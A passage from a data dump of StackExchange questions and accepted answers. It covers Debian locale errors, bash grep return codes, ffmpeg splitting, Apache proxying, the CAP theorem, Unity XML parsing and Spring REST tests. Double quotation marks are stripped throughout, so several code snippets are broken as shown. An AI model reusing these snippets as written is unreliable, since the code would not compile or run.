directory)open(/usr/lib/locale/en.UTF-8/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.utf8/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)write(2, locale: , 8locale: )                 = 8write(2, Cannot set LC_CTYPE to default l..., 37Cannot set LC_CTYPE to default locale) = 37write(2, : No such file or directory, 27: No such file or directory) = 27write(2, \\n, 1)                       = 1open(/usr/lib/locale/en_US.UTF-8/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US.utf8/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.UTF-8/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.utf8/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)write(2, locale: , 8locale: )                 = 8write(2, Cannot set LC_MESSAGES to defaul..., 40Cannot set LC_MESSAGES to default locale) = 40write(2, : No such file or directory, 27: No such file or directory) = 27write(2, \\n, 1)                       = 1open(/usr/lib/locale/en_US.UTF-8/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US.utf8/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.UTF-8/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.utf8/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)write(2, locale: , 8locale: )                 = 8write(2, Cannot set LC_COLLATE to default..., 39Cannot set LC_COLLATE to default locale) = 39write(2, : No such file or directory, 27: No such file or directory) = 27write(2, \\n, 1)                       = 1open(/usr/lib/locale/locale-archive, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale, O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3getdents(3, /* 3 entries */, 32768)     = 80getdents(3, /* 0 entries */, 32768)     = 0close(3)                                = 0stat(/usr/lib/locale/C.UTF-8/LC_IDENTIFICATION, {st_mode=S_IFREG|0644, st_size=168, ...}) = 0open(/usr/share/locale/locale.alias, O_RDONLY) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0mmap(NULL, 2570, PROT_READ, MAP_SHARED, 3, 0) = 0x7fe6c1352000lseek(3, 2570, SEEK_SET)                = 2570fstat(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0munmap(0x7fe6c1352000, 2570)            = 0close(3)                                = 0fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1352000write(1, C\\n, 2C)                      = 2write(1, C.UTF-8\\n, 8C.UTF-8)                = 8write(1, POSIX\\n, 6POSIX)                  = 6exit_group(0)                           = ?Edit 2: Output of gcc -v:Using built-in specs.COLLECT_GCC=gccCOLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.7/lto-wrapperTarget: x86_64-linux-gnuConfigured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-5' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.7 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --with-arch-32=i586 --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnuThread model: posixgcc version 4.7.2 (Debian 4.7.2-5)Edit 3: Sorry but, this is not a duplicate. As I said, I have looked through a ton ton of questions, and none of the answers have helped me or fixed the issue, including the one you nominated as a duplicate. It may seem like a duplicate, and in theory it is, but since my issue is not solved - I don't think reopening an old question would help the issue get solved sooner than opening a new one."  , "title": "Locale error on Debian"  , "tags": "debian;locale"  } 
{  "id": "_softwareengineering.179808"  , "question": "In a C++ program that doesn't contain legacy C code, is there a guideline regarding the maximum number of levels of indirection that should be used in the source code?  I know that in C (as opposed to C++), some programmers have used pointers to pointers for a multiple dimension array, but for the case of arrays, there are data structures in C++ that can be used to avoid the pointers to pointers.  Are users who still create pointers to pointers (or more than this) trying to use pointers to pointers only for performance ETC. reasons?  I have tried NOT to use any more than a pointer to a pointer, only in the case that a pointer needed modification; does anyone have any other official or unofficial guidelines or rules regarding the number of levels of indirection?  "  , "title": "C++ Pointers: Number of levels of Indirection"  , "tags": "c++;pointers"  } 
{  "id": "_unix.372733"  , "question": "I am writing a bash script; I execute a certain command and grep.  pfiles $1 2> /dev/null | grep name # $1 Process IdThe response will be something like:  sockname: AF_INET6 ::ffff:10.10.50.28  port: 22peername: AF_INET6 ::ffff:10.16.6.150  port: 12295The response can be no lines, 1 line, or 2 lines.In case grep returns no lines (grep return code 1), I abort the script; if I get 1 line I invoke A() or B() if more than 1 line. grep's return code is 0 when the output is 1-2 lines.grep has return value (0 or 1) and output.How can I catch them both ? If I do something like:  OUTPUT=$(pfiles $1 2> /dev/null | grep peername)Then variable OUTPUT will have the output (string); I also want the boolean value of grep execution."  , "title": "get output and return value of grep in single operation in bash"  , "tags": "bash;shell;grep;return status"  } 
{  "id": "_unix.93761"  , "question": "I want to cut a video into about 10 minute parts like this.ffmpeg -i video.mp4 -ss 00:00:00 -t 00:10:00 -c copy 01.mp4ffmpeg -i video.mp4 -ss 00:10:00 -t 00:10:00 -c copy 02.mp4ffmpeg -i video.mp4 -ss 00:20:00 -t 00:10:00 -c copy 03.mp4With for it will be like this.for i in `seq 10`; do ffmpeg -i video.mp4 -ss 00:${i}0:00 -t 00:10:00 -c copy ${i].mp4; done;But it works only if duration is under a hour.How can I convert number to time format in bash shell?"  , "title": "how to convert number to time format in shell script?"  , "tags": "bash;shell;time;ffmpeg;arithmetic"  , "accepted_answer": "BASH isn't that bad for this problem. You just need to use the very powerful, but underused date command.for i in {1..10}; do  hrmin=$(date -u -d@$(($i * 10 * 60)) +%H:%M)  outfile=${hrmin/:/-}.mp4  ffmpeg -i video.mp4 -ss ${hrmin}:00 -t 00:10:00 -c copy ${outfile}donedate Command Explaineddate with a -d flags allows you to set which date you want displayed (instead of the current date and time, which is the default). In this case, I am setting it to a UNIX time by prepending the @ symbol before an integer. The integer in this case is the time in ten minute increments (calculated by the BASH built-in calculator: $((...))).The + symbol tells date that you would like to specify a format for displaying the results. In our case, we care only about the hour (%H) and the minutes (%M).And finally, the -u is to display as UTC time instead of local. This is important in this case because we specified the time as UTC when we gave it the UNIX time (UNIX time is always as UTC). The numbers would most likely not start from 0 if you didn't specify -u.BASH Variable Substitution ExplainedThe date command gave us just what we needed. But colons in a file name might be problematic/non-standard. So, we substitute the ':' for a '-'. This can be done by the sed or cut or tr command, but because this is such a simple task, why spawn a new subshell when BASH can do it?Here we use BASH's simple expression substitution. To do this, the variable must be contained within curly braces (${hrmin}) and then use the standard forward slash notation. The first string after the first slash is the search pattern. The second string after the second slash is the substitution.BASH variable substitution and more can be found at http://tldp.org/LDP/abs/html/parameter-substitution.html."  } 
{  "id": "_softwareengineering.288818"  , "question": "Suppose,There is a user list.<a href=user/5>Edit</a><a href=user/6>Edit</a> When a system user clicked to edit a user info. Then it goes to url to browser like as http://abc.com/user/5He can manually replace 5 to 155 and edit(update) the user info. It is a problem to me. How can I remove this problem?I have an idea: Calling the edit page by ajax. So that the number will be hidden. Is there any good idea?"  , "title": "How can I keep browser URL secret when editing data?"  , "tags": "php;javascript;html;mysql;jquery"  , "accepted_answer": "Your application probably have different actions with different access levels, for example an admin will probably be allowed more things than a simple user. So you better build some data-matrix summarizing user(-roles) access-rights and check brefore treating any request if the current logged-in user (or even unlogged Guest if you happen to have such a role) has the right or not to perform this action. Of course this might look overkill, but if you mind about security you definitely need it. You can NEVER trust the user, you always have to validate server-side."  } 
{  "id": "_softwareengineering.115960"  , "question": "I am reading the following in a book on algorithms (Cormen's to be specific):  That is, we are concerned with how the running time of an algorithm  increases with the size of the input in the limit, as the size of the  input increases without bound.I can not understand what is the meaning of the phrase:  with the size of the input in the limit.What is the limit refering about?  UPDATE: Please note that at this point in the book (early fundamentals of chapter 2) there has been no formal definition or mention of Big O or other asymptotic notation except a vague reference on Theta notationAny help?"  , "title": "Help on clarification of a formal statement concerning algorithms running time"  , "tags": "algorithms;computer science;theory"  } 
{  "id": "_softwareengineering.230417"  , "question": "I have decided to work as a freelancer. I have developed a software and have successfully given the presentation demo. The client liked it and has agreed to implement the project in his organisation.But the client has asked me make it sure that I wont run away with the money  without completing the project. The cost of project is high and it is not possible to complete  it without acquiring the advance from the client.What are the practice that is usually followed ? I myself somehow agree with the client query. I know I will be able to complete the project. I do not intend to cheat. But how to prove it to client? What to do in such situation?"  , "title": "How to assure client that we will complete our project and won't run away with the money"  , "tags": "project management;programming practices;freelancing;project;client"  , "accepted_answer": "How do you ensure the builder that you contracted to build an extension to your house won't leave you with a half-finished extension? You sign a contract in which it is specified that payment occurs in several installments, with final payment only after acceptance of the finished product.For software development, the same kind of agreement can be used, especially if it is a longer running project (more than a couple of weeks), with the intermediate payments either based on time (monthly?) or on intermediate deliveries.Regarding the size of payments, the intermediate payments should be enough to cover the costs you make (it shouldn't be needed that you eat into your reserves while working on a paid project), and the final payment should be a significant portion of the total sum to have an incentive to finish the project."  } 
{  "id": "_unix.80110"  , "question": "I am using a system that runs twm and I am wondering if it is possible to switch between windows using keyboard shortcuts, as I do in gnome with Alt+Tab. "  , "title": "switching windows in twm with keyboard shortcuts"  , "tags": "x11;keyboard shortcuts;window management;twm"  } 
{  "id": "_codereview.173672"  , "question": "Code ObjectiveI'm writing an AutoHotkey script which takes in department data copied to the clipboard from a Microsoft Excel spreadsheet. It then uses this data to auto-fill forums in the web-app Kronos Workforce Central.Source DataWhen data is copied from Microsoft Excel, each cell in a row is stored in the clipboard as strings delimited by tabs \\t, with each row separated by newlines \\r\\n.DeptID     Job Name           Abbreviation     Service Line  0368       Administrator      ADMIN            OPS3945       Programmer         PRGRM            NON NRSG4596       Software Engineer  SFTWRE-ENG       NON NRSGCurrent MethodCurrently, I'm parsing this copied-data by splitting the data into an array of rows with StrSplit(), then using a second StrSplit() inside a for-loop to parse my data.; Autofill data from clipboard#d::   addLocationsWindow := Add Locations   WinActivate, %addLocationsWindow%        ; Window MUST be active   rowArray := StrSplit(Clipboard, `r`n)  ; Split copied rows from Excel by newlines   for index, row in rowArray {      tempArray := StrSplit(row, `t)      ; Split each row by tabs      deptID := tempArray[1]      jobName := tempArray[2]      If (deptID == )                     ; skip empty cells         continue      IfWinNotActive(addLocationsWindow)  ; check for active window      {         MsgBox '%addLocationsWindow%' window not found. Stopping script...         Exit, 1      }      ; DoStuff(jobName, deptDisplayName, index)   }ReturnThe IssueMy method of string parsing feels hacky and unintuitive. It means I can only manipulate a single row at a time, as each each row's data is only split temporarily. I would need to re-run the costly StrSplit() to access data from a row again.In Java, I could store my Excel data in a single 2D array. Unfortunately, arrays are a bit tricky to use in AutoHotkey, which is why my current code is a bit messy."  , "title": "Parse copied data from Excel using AutoHotkey"  , "tags": "array;autohotkey"  } 
{  "id": "_softwareengineering.206230"  , "question": "Forgive the title -- it needs work.  I am struggling to find better English to express my issue.  Edits encouraged.Example to describe my issue:Checker MethodI have an argument checking method called public static void StringArgs.checkIndexAndCount(String, int, int).  Given a string, an index, and a count, confirm the string is not null, and the index & counts are reasonable.  Unchecked (runtime) exceptions are used to report errors.  There is a battery of unit tests written to check all angles of this method.Layered (or Derived) MethodThe checker method is called by other methods, such as public static String removeByIndexAndCount(String, int, int).  The first line of this method checks the arguments by calling the above checker.Unit Test StrategyWhen I write unit tests for the second/layered/derived method, how do I account for the existing set of unit tests for the checker method?  It seems to violate duplication/copy-paste principles to simple re-add the same unit tests (modified slightly) from the checker method to the second method.Please advise.My code is Java, but I don't think that particularly relevant, as this same issue could occur in any language."  , "title": "Unit test strategy for layered (or derived) method calls"  , "tags": "unit testing"  } 
{  "id": "_unix.307592"  , "question": "I wanted to start the metasploit service to start armitage. But when i am typing in my console the command:sudo service metasploit start It says: Failed to start metasploit.service: Unit metasploit.service not found.I installed metasploit. It is connected to postgresql, so the question is how can I start or install this service?"  , "title": "How to start the metasploit service in Linux Mint?"  , "tags": "linux mint;services;metasploit"  } 
{  "id": "_webmaster.27636"  , "question": "So I have a problem - I have my main site on apache web server on debian on port 80; I develop a web server (in some C++ or C#) and it currently runs on port 6666. But some people are living under firewalls and can access only port 80. I wonder if it is possible via apache map all requests to say mysite.com:80/6666/url as if they were to mysite.com:6666/url, not map via redirection, but really make apache stream content from my site to user as if it were in some folder?"  , "title": "How to proxy with apache site from same domain but another port as a subfolder?"  , "tags": "apache;proxy;configuration"  } 
{  "id": "_webmaster.11442"  , "question": "Possible Duplicate:Which Content Management System (CMS) should I use? I've been trying to find an image gallery that plays nice with our custom CMS. I've evaluated a number of them, but none of them seems to have the feature list that I would like:Run on LAMP environmentFree software or low license costs (the website belongs to a non-profit organisation)Multi-user supportMultiple albums. We're posting concert pictures, and would like an album per event.Pluggable authentication system. I want to reuse the accounts we have for our CMS. Permissions can be done inside the gallery itself, but I want to have a single sign on solution in a maintainable manner, by writing my own plugin/add-on for the software.Upload support (multiple images at the same time)And preferrably also:Can be integrated into a PHP page layout without IFRAMEsAutomatic resizing of uploaded images to a maximum sizeAbility for visitors to place commentsThis combination is proving hard to find, especially the authentication requirement. I don't want to mess around all over the place in the source code to make it use the existing authentication. A plugin would be ideal, but alternatively a well thought out software design that allows for maintainable surgical changes would be acceptable.Any suggestions on which software I should take a closer look into?"  , "title": "PHP Image gallery that integrates well into custom CMS"  , "tags": "looking for a script;photo gallery"  } 
{  "id": "_cs.33002"  , "question": "I'm going through Brewer's theorem and its proof by Nancy Lynch and Seth Gilbert. But the paper left me with one question. What prevents the theorem from being applicable to a single node?I havent encountered any explicit definition of network partition that restricts its applicability to a network. There are some hints in [1] that suggest that a network partition with a single node would mean cutting off all communication to that node itself. This doesnt make a whole lot of sense to me because you could always have a partition with all the service nodes on one side and the client node on the other. No service could possibly tolerate that. A single node data object can be consistent and available if requests sent to it get through. To me, the definition of a network partition and where it applies leaves something to be desired. What am I missing here? [1] Brewers Conjecture and the Feasibility of Consistent, Available, Partition-Tolerant Web Services by Seth Gilbert and Nancy Lynch"  , "title": "Applying Brewer's theorem (CAP) to a single node"  , "tags": "computer networks;database theory"  , "accepted_answer": "In my opinion, the CAP theorem is applicable intentionally to distributed systems. To quote the article Perspectives on the CAP Theorem @ IEEE Computer'2012 by Gilbert and Lynch:Brewer first presented CAP in the context of a Web service implemented by a set of servers distributed over a set of geographically diverse datacenters. Clients issue requests to the service, which sends back responses.In this context, the network in CAP theorem refers to communications among servers (instead of communications among clients or between clients and servers). This can be justified by the following two arguments.To quote the above article again (with emphasis added):Unlike the other two requirements, partition tolerance is really a statement about the underlying system rather than the service itself: communication among the servers is unreliable, and the servers can be partitioned into multiple groups that cannot communicate with one another.In the proof of the CAP theorem in the above article, it says,Consider an execution in which the servers are partitioned into two disjoint sets: $\\{p_1\\}$ and $\\{ p_2, \\ldots, p_n\\}$. Some client send a read request to server $p_2$.The proof followed is based on the communication among the two disjoint sets of servers.To summarize, CAP theorem (again, it is my own opinion) does not consider the situation in which client nodes and server nodes are partitioned. After all, we can do almost nothing in this bad situation. In other words, CAP theorem assumes that the communications between clients and servers behave well and focuses on the theory and implementation of the distributed service itself. "  } 
{  "id": "_unix.103728"  , "question": "Is there anyway to display the size of each file next to it after executing the locate command?"  , "title": "How to display size of each file next to it after executing the locate command?"  , "tags": "size;locate"  , "accepted_answer": "If your locate implementation understands the option -0:locate -0 PATTERN | xargs -0 ls -sdOtherwise:locate PATTERN | xargs -I {} ls -sdOf course you may want to vary the flags passed to ls, e.g. add -h to get human-readable sizes, add --color=auto to have special files in color, etc.If some of the files in the locate database have been removed since the database was generated, ls will print error messages. To hide them, add 2>/dev/null at the end of the command."  } 
{  "id": "_unix.28812"  , "question": "I've written a Python CGI script that invokes bash commands, and it needs to test for a successful login on the host.How do I write a test for that?For example, could I create a bash script that tests a given username and password combination against the registered user on the host?"  , "title": "How do I write a test for system login?"  , "tags": "linux;bash;security;login;testing"  , "accepted_answer": "Using PAM is the best solution. You can write small C code, or install python-pam package and use a python script which comes with the python-pam package. See /usr/share/doc/python-pam/examples/pamtest.py"  } 
{  "id": "_webmaster.108433"  , "question": "I used this line to extract unique IPs from my access_log for the last minute:grep 2017:19:23 /var/log/nginx/access_log | awk '{print $2}' | sort -n | uniq -c | sort -nr | head -20000 | wc -lResult: 185I then tried again for 10 seconds:grep 2017:19:23:0 /var/log/nginx/access_log | awk '{print $2}' | sort -n | uniq -c | sort -nr | head -20000 | wc -lResult: 74What does google analytics realtime tell me?  37.  I've not seen it go over 50 all day and I'm confident that at time my concurrent users has been more like 200+.Any idea why this would be?"  , "title": "Google Analytics real time numbers don't seem to come close to unique IP addresses in my access_log?"  , "tags": "google analytics;real time"  } 
{  "id": "_hardwarecs.6789"  , "question": "Im looking for a WLAN router that runs only free/libre software. It doesnt need to contain a modem.ThinkPenguin.com offered the Free Software Wireless-N Broadband Router for GNU / Linux (TPE-NWIFIROUTER2), which even got FSFs RYF certification, but its no longer for sale/available.I would prefer a router that ships without any proprietary software, but if there isnt one, Im fine with a router that ships with proprietary software, as long as a free/libre OS (and free/libre firmware) can be installed without voiding the warranty, ideally officially supported."  , "title": "Free/libre WLAN router"  , "tags": "router;wlan;floss"  } 
{  "id": "_codereview.39718"  , "question": "I would prefer if more experienced users could give pointers on how I can optimize and think better when writing code.If you are unfamiliar with unity3d, ignore the use of UnityEngine, the heritage from MonoBehaviour as well as the Debug.Log();, Debug.LogWarning();, and Debug.LogError();Awake is called directly after the constructor.I use int length instead of a function to return the size of List<Gender> genders. Not sure what is preferred (or best).An XML Example can be seen further down./// <summary>/// Gender manager./// Access length by GenderManager.Length/// Access gender by index GenderManager.gender[int]/// /// Left to do: Singleton/// /// Author: Emz/// Date: 2014-01-21/// </summary>using UnityEngine;using System.Collections;using System.Collections.Generic;using System.Xml;using System;public class GenderManager : MonoBehaviour {    private static List<Gender> genders;    private static int length;    // Use this for initialization    public GenderManager () {        genders = new List<Gender> ();        length = 0;    }    void Awake () {        DontDestroyOnLoad (this);        XmlDocument doc = new XmlDocument ();        doc.Load (@genders.xml);        XmlNodeList gs = doc.SelectNodes (genders/gender);        foreach (XmlNode g in gs) {            Gender tg = new Gender ();            tg.Name = g.SelectSingleNode(name).InnerText;            tg.Desc = g.SelectSingleNode(desc).InnerText;            XmlNodeList ams = g.SelectNodes(attributemodifiers/attributemodifier);            foreach (XmlNode am in ams) {                // check if attribute does exist in public enum AttributeName under Skill.cs                if (Enum.IsDefined(typeof(AttributeName), am.SelectSingleNode (attribute).InnerText)) {                    int ta = (int)Enum.Parse(typeof(AttributeName), am.SelectSingleNode (attribute).InnerText);                    // returns 0 if conversion failed                    int tv = Convert.ToInt32(am.SelectSingleNode (value).InnerText);                    tg.AddAttributeModifier (ta, tv);                // if attribute does not exist in SkillName under Skill.cs                } else {                    Debug.LogError (Invalid Attribute Name:  + am.SelectSingleNode (attribute).InnerText);                }            }            XmlNodeList sms = g.SelectNodes(skillmodifiers/skillmodifier);            foreach (XmlNode sm in sms) {                // check if skill does exist in public enum SkillName under Skill.cs                if (Enum.IsDefined(typeof(SkillName), sm.SelectSingleNode (skill).InnerText)) {                    int ts = (int)Enum.Parse(typeof(SkillName), sm.SelectSingleNode (skill).InnerText);                    // returns 0 if conversion failed                    int tv = Convert.ToInt32(sm.SelectSingleNode (value).InnerText);                    tg.AddSkillModifier (ts, tv);                // if skill does not exist in SkillName under Skill.cs                } else {                    Debug.LogError (Invalid Skill Name:  + sm.SelectSingleNode (skill).InnerText);                }            }            // off we go, increment length             genders.Add (tg);            ++length;        }    }    public static int Length {        get {return length;}    }    public static Gender Gender (int index) {        return genders [index];    }}XML<?xml version=1.0 encoding=UTF-8?><genders>    <gender>        <name>Female</name>        <desc>FemDesc</desc>        <attributemodifiers>            <attributemodifier>                <attribute>Agility</attribute>                <value>1</value>            </attributemodifier>        </attributemodifiers>               <skillmodifiers>            <skillmodifier>                <skill>Charm</skill>                <value>1</value>            </skillmodifier>        </skillmodifiers>    </gender>    <gender>        <name>Male</name>        <desc>MalDesc</desc>        <attributemodifiers>            <attributemodifier>                <attribute>Strength</attribute>                <value>1</value>            </attributemodifier>        </attributemodifiers>               <skillmodifiers>            <skillmodifier>                <skill>Intimidation</skill>                <value>1</value>            </skillmodifier>        </skillmodifiers>    </gender>    <gender>        <name>Neuter</name>        <desc>NeuDesc</desc>        <attributemodifiers>            <attributemodifier>                <attribute>Attunement</attribute>                <value>1</value>            </attributemodifier>        </attributemodifiers>               <skillmodifiers>            <skillmodifier>                <skill>Coercion</skill>                <value>1</value>            </skillmodifier>        </skillmodifiers>    </gender></genders>Enums for AttributeName and SkillNamepublic enum AttributeName {    Strength,    Agility,    Quickness,    Endurance,    Attunement,    Focus};public enum SkillName {    Weight_Capacity,    Attack_Power,    Intimidation,    Coercion,    Charm};And lastly, the Gender classusing System.Collections.Generic;public class Gender {    private string _name;    private string _desc;    private List<GenderBonusAttribute> _attributeMods;    private List<GenderBonusSkill> _skillMods;    public Gender () {        _name = string.Empty;        _attributeMods = new List<GenderBonusAttribute> ();        _skillMods = new List<GenderBonusSkill> ();    }    public string Name {        get {return _name;}        set {_name = value;}    }    public string Desc {        get {return _desc;}        set {_desc = value;}    }    public void AddAttributeModifier (int a, int v) {        _attributeMods.Add (new GenderBonusAttribute (a, v));    }    public void AddSkillModifier (int s, int v) {        _skillMods.Add (new GenderBonusSkill (s, v));    }    public List<GenderBonusAttribute> AttributeMods {        get {return _attributeMods;}    }    public List<GenderBonusSkill> SkillMods {        get {return _skillMods;}    }}public class GenderBonusAttribute {    public int attribute;    public int value;    public GenderBonusAttribute (int a, int v) {        attribute = a;        value = v;    }}public class GenderBonusSkill {    public int skill;    public int value;    public GenderBonusSkill (int s, int v) {        skill = s;        value = v;    }}I don't want to hardcode the genders for various reasons.Does this code look good enough? If not, what changes should be made and where can I read more about them?"  , "title": "Dynamic Storing Objects from XML in RPG"  , "tags": "c#;xml;unity3d"  , "accepted_answer": "Your code style is really inconsistent. As if you were copypasting code blocks from various places and didn't bother to refactor it. Part of the reason your code is hard to read. A somewhat accepted code style is: a) prefix field names with underscores, b) if possible use auto-properties for public members instead of fields and properties with backing fieldspublic GenderBonusAttribute (int a, int v) what is a? what is v? no way to tell without digging into your code. You should use descriptive names.Using static fields in GenderManager and setting them via non-static constructor is a mess. Length is not descriptive. What is length? If it is the length of genders, then why dont you expose genders.Count instead?In my opinion XmlDocument is somewhat depricated. I would use XDocument and Linq-to-Xml instead. It would simplify your code. Though in a sense its probably a matter of taste. I think some light weight data base will do a better job in storing game mechanics then xml files."  } 
{  "id": "_computergraphics.4684"  , "question": "I'm new to computer graphics.  I played around with OpenGL and now am trying out Vulkan.Basically what I want to do, in 2D is have an 800x800 window, and I want that to represent 800 meters by 800 meters.  Then I want a circle with a radius of 1 meter.I am going off of the Vulkan tutorial.  My data structure is this:struct Vertex {    glm::vec2 pos;};I create my circle:const int NUM_POINTS = 20;uint32_t angle = 360/NUM_POINTS;Vertex vertex;std::vector<Vertex> vertices;for(uint32_t i=0; i <= 360; i+=angle){  vertex.pos.x = cos(glm::radians(float(i)));  vertex.pos.y = sin(glm::radians(float(i)));  vertices.push_back(vertex);}Something to do with the viewport:VkViewport viewport = {};viewport.x = 0.0f;viewport.y = 0.0f;viewport.width = (float) swapChainExtent.width;viewport.height = (float) swapChainExtent.height;viewport.minDepth = 0.0f;viewport.maxDepth = 1.0f;viewport.width and viewport.height both equal 800.0f.Projection matrices:struct UniformBufferObject{  glm::mat4 model;  glm::mat4 view;  glm::mat4 proj;};projections:ubo.view = glm::lookAt(glm::vec3(2.0f, 2.0f, 2.0f), glm::vec3(0.0f, 0.0f, 0.0f), glm::vec3(0.0f, 0.0f, 1.0f));ubo.proj = glm::perspective(glm::radians(45.0f), swapChainExtent.width / (float) swapChainExtent.height, 0.1f, 10.0f);ubo.proj[1][1] *= -1;This shows the circle, but it's almost as big as the window and it's tilted 45 away from me.First of all, I don't understand why, if I make the first argument to glm::lookAt be glm::vec3(0.0f, 0.0f, 2.0f), I see nothing.  I mean the circle is in the x-y plane.  If I move in the z-direction, shouldn't I see it?Then I tried glu::orthoubo.proj = glm::ortho(0.0f, 800.0f, 800.0f, 0.0f);But I still see nothing."  , "title": "understanding glm::perspective vs glm::ortho"  , "tags": "projections;vulkan;glm"  } 
{  "id": "_unix.330558"  , "question": "I am working on an embedded device with ARM CPU and Debian Jessie constructed using multistrap. It seems I need to install a slightly patched version of ModemManager into that system and what I am asking for is any guidance on how to do that. What I've tried so far is chrooting into the rootfs created by multistrap, downloading the source code of ModemManager using apt-get and building it chrooted. So far, I haven't even got the configure script to pass due to dependencies I can't get satisfied.Patching is needed in order to solve the known problem of ModemManager that it may confuse hardware by scanning serial ports for modems. There is a way to work around that by blacklisting devices via udev rules, but in this case the serial port is part of the tty sub-system, for which blacklisting is not supported. I have check that in ModemManager's source code.I am also very open for easier ways to solve this if there are such, but I haven't noticed them so far."  , "title": "Building software for Linux generated using multistrap"  , "tags": "debian;arm;cross compilation"  } 
{  "id": "_codereview.142896"  , "question": "I'm beginner java programmer and would like to ask you to take a look at my code. I wrote small rest service among with tests. Now I have to questions to ask. The test methods:@Transactionalpublic class CustomerControllerTests extends RestApplicationTests{    @Autowired    private WebApplicationContext context;    private MockMvc mockMvc;    @Before    public void setup(){        mockMvc = MockMvcBuilders                .webAppContextSetup(context)                .build();    }    @Test    public void getRequestSent_then200IsRecived() throws Exception{        mockMvc.perform(get(/customers))                .andExpect(status().isOk());    }    @Test    public void getRequestSend_thenJSONisRecived() throws Exception{        mockMvc.perform(get(/customers))                .andExpect(content().contentType(MediaType.APPLICATION_JSON_UTF8));    }    @Test    public void givenUserDoesNotExists_whenUserInfoIsRetrieved_then404IsRecived() throws Exception{        final String id = 666634443255233321;        mockMvc.perform(get(/customers/ + id))                .andExpect(status().isNotFound());    }    @Test    public void givenPutRequest_whenRequestBodyIsValid_then200IsRecived() throws Exception{        Customer customerStub = new Customer.Builder()                .firstName(Adam)                .lastName(Nawalka)                .town(Boston)                .customerId(8888)                .build();        Gson gson = new Gson();        String entityAsJson = gson.toJson(customerStub);        mockMvc.perform(put(/customers).with(anonymous())                .content(entityAsJson)                .contentType(MediaType.APPLICATION_JSON_UTF8))                .andExpect(status().isOk());    }    @Test    public void givenPutRequest_whenIdIsMissing_thenIllegalArgumentExceptionAsCause() throws Exception{        Customer customerStub = new Customer.Builder()                .firstName(Adam)                .lastName(Nawalka)                .town(Boston)                .build();        Gson gson = new Gson();        String entityAsJson = gson.toJson(customerStub);        try{        mockMvc.perform(put(/customers)                .content(entityAsJson)                .contentType(MediaType.APPLICATION_JSON_UTF8));        }        catch(NestedServletException e){            Assert.assertEquals(NestedServletException.class, e.getClass());            Assert.assertEquals(IllegalArgumentException.class, e.getCause().getClass());            Assert.assertEquals(Can not update with id equal to 0, e.getCause().getLocalizedMessage());        }    }    @Test    public void givenPutRequest_whenEntityIsNotCompatible_then400BadRequest() throws Exception{        Customer customerStub = new Customer.Builder()                .firstName(Adam)                .town(Boston)                .customerId(8888)                .build();        Gson gson = new Gson();        String entityAsJson = gson.toJson(customerStub);        mockMvc.perform(put(/customers)                .content(entityAsJson)                .contentType(MediaType.APPLICATION_JSON_UTF8))                .andExpect(status().isBadRequest());    }    @Test    public void givenPutRequest_whenEntityIsNotCompatible_thenExplanationInBody() throws Exception{        Customer customerStub = new Customer.Builder()                .firstName(Adam)                .town(Boston)                .customerId(8888)                .build();        Gson gson = new Gson();        String entityAsJson = gson.toJson(customerStub);        mockMvc.perform(put(/customers)                .content(entityAsJson)                .contentType(MediaType.APPLICATION_JSON_UTF8))                .andExpect(content()                        .string(Entity contains forbidden values:                                 + Can not update entity with field \\lastName\\ set to: null));    }    @Test    public void givenPutRequest_whenEntityIsNotCompatible_thenDataInputException() throws Exception{        Customer customerStub = new Customer.Builder()                .firstName(Adam)                .town(Boston)                .customerId(8888)                .build();        Gson gson = new Gson();        String entityAsJson = gson.toJson(customerStub);        try{        mockMvc.perform(put(/customers)                .content(entityAsJson)                .contentType(MediaType.APPLICATION_JSON_UTF8));        }        catch(DataInputException e){            Assert.assertEquals(DataInputException.class, e.getClass());        }    }    @Test    public void givenPostRequest_whenRequestBodyIsValid_then200IsRecived() throws Exception{        Customer customerStub = new Customer.Builder()                .firstName(Adam)                .lastName(Nawalka)                .town(Boston)                .customerId(8888)                .build();        Gson gson = new Gson();        String entityAsJson = gson.toJson(customerStub);        mockMvc.perform(post(/customers)                .content(entityAsJson)                .contentType(MediaType.APPLICATION_JSON_UTF8))                .andExpect(status().isCreated());    }    @Test    public void 